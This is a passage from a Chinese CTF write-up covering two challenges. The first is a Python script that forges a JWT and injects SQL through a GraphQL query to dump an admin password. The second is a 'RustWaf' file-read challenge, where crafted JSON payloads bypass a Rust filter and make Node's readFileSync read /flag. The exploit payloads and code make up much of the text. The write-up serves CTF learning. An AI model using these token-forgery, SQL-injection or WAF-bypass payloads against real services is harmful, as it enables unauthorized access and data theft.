'eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NjcxMjQ2ODksImlhdCI6MTY2NzEyNDM4OSwiaXNfYWRtaW4iOjAsImlzX2xvZ2luIjoxLCJqdGkiOiJDSFNEemZIbHJpcTJZbmU3Ynhrc2lRIiwibmJmIjoxNjY3MTI0Mzg5LCJwYXNzd29yZCI6ImFtZXV1IiwidXNlcm5hbWUiOiJhbWV1dSJ9.nlAxl5xunioWsD7UkEY35CGu69F9JMI3B4tCTI5zG-HH5XxbgJIDjheBgYH83QOs7wuu7nRWnuzBGBvXZpoTdjXDklD8ob69-Z9h0UvYB8J9_AwySCssHOw_2d2w4B4EmhTsZ0JXv78KOgIIYKZeI4mX3RohGceGGTMLw92KW0V4IGaZulLXBl9HWw0qfnwXEOY0vNmbofCu3i_Ee1v0m6NWF2ytrLwspkJ59Xj09FXG2oEPzRC-Mx4RBgm5b2xX66RNJcwJhqiwAeRLJ3of0kr5Oo2-3VIjpNUsxgcEUUojk561CT0Lj3NO4kzfJ88gbQwnZ4f-gcg2Kg7IbVa7Tg' token = fakePayload(a) data = {'query' : '{ getscoreusingnamehahaha(name:"name\'union select password from users where name=\'admin\' and \'1=1"){ userid name score ' '} }' } r = requests.post(url + 'graphql' , cookies={'token' : token, 'session' : 'eyJpc19sb2dpbiI6MX0.Y15HzQ.WwPKCovExkTsVcmU5hVuWIdjj4k' }, data=data) print (r.text)r = requests.get(url + 'getflag' , cookies={'token' : token, 'session' : 'eyJpc19sb2dpbiI6MX0.Y15HzQ.WwPKCovExkTsVcmU5hVuWIdjj4k' }) print (r.text)
flag:
1 flag{9f065df3-23ae-438f-ae09-56d36a400b52}
RustWaf /src
得到nodejs源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 const express = require ('express' );const app = express();const bodyParser = require ("body-parser" )const fs = require ("fs" )app.use(bodyParser.text({type : '*/*' })); const { execFileSync } = require ('child_process' );app.post('/readfile' , function (req, res ) { let body = req.body.toString(); console .log("bosy = " +body + ";" ); let file_to_read = "app.js" ; const file = execFileSync('/app/rust-waf' , [body], { encoding : 'utf-8' }).trim(); const file = body; try { file_to_read = JSON .parse(file) } catch (e){ file_to_read = file } console .log("file_to_read = " + file_to_read + ";" ); let data = fs.readFileSync(file_to_read); console .log("data = " + data); }); app.get('/' , function (req, res ) { res.send('see `/src`' ); }); app.get('/src' , function (req, res ) { var data = fs.readFileSync('app.js' ); res.send(data.toString()); }); app.listen(3000 , function ( ) { console .log('start listening on port 3000' ); });
代码比较简单,重点就是在/readfile
目录下读取文件,而会直接从post body获取文件名,直接用bp传,测试读取app.js
成功
但是读取/flag
的时候没有成功,返回了rust的代码。可以发现如果payload中包含flag或者proc就会直接返回文件内容,如果绕过了再判断payload如果是json格式,那么是否存在key为protocol
,如果存在也直接返回文件内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 use serde::{Deserialize, Serialize};use serde_json::Value;static BLACK_PROPERTY: &str = "protocol" ;#[derive(Debug, Serialize, Deserialize)] struct File { #[serde(default = "default_protocol" )] pub protocol: String , pub href: String , pub origin: String , pub pathname: String , pub hostname:String } pub fn default_protocol () -> String { "http" .to_string() } pub fn waf (body: &str ) -> String { if body.to_lowercase().contains("flag" ) || body.to_lowercase().contains("proc" ){ return String ::from("./main.rs" ); } if let Ok (json_body) = serde_json::from_str::<Value>(body) { if let Some (json_body_obj) = json_body.as_object() { if json_body_obj.keys().any(|key| key == BLACK_PROPERTY) { return String ::from("./main.rs" ); } } if let Ok (file) = serde_json::from_str::<File>(body) { return serde_json::to_string(&file).unwrap_or(String ::from("./main.rs" )); } } else { return String ::from(body); } return String ::from("./main.rs" ); } fn main () { println! ("" ); }
google了一下,发现corctf的某道题和这道题类似,也是fs.readfileSync
并绕waf,可以直接去看源码
如果传入的payload不为空并且payload.href
和payload.origin
均有值,就会进入fileURLToPath(fileURLOrPath)
payload.protocol
为file:
这里实现对payload.pathname
的url解码并返回最后实现读取payload.pathname
内容
注意这里要求payload.hostname
为空
但是这里用到的payload中存在protocol导致rust能检测到,要绕过。payload:
1 {"origin":"*","href":"*","pr\ud811otocol":"file:","protocol":"file:","hostname":"","pathname":"/f%6cag"}
小更新: 从群里师傅发的wp学到的新payload:
1 2 3 4 5 6 7 [ "file:", "a", "a", "/fl%61g", "" ]
感觉应该是根据main.rs里面的struct来的吧?大概(不会rust呜呜呜
1 2 3 4 5 6 7 8 9 #[derive(Debug, Serialize, Deserialize)] struct File { #[serde(default = "default_protocol" )] pub protocol: String , pub href: String , pub origin: String , pub pathname: String , pub hostname:String }
flag:
1 flag{5 f53d536-83 ed-41 ec-ae21-939143 a38066}
Reference http://www.bmth666.cn/bmth_blog/2022/09/27/Spring内存马学习/#Spring内存马
https://www.anquanke.com/post/id/258575#h2-2
https://myzxcg.com/2021/11/Spring-内存马实现/
https://viblo.asia/p/corctf-2022-writeup-part-1-m68Z0Joj5kG#_c-challenge-solution-3
https://github.com/nodejs/node/blob/main/lib/fs.js#L464
https://bbs.pediy.com/thread-274102.htm
https://github.com/davedoesdev/python-jwt
https://www.secpulse.com/archives/148242.html
[https://graphql.cn/learn/queries/#variables] (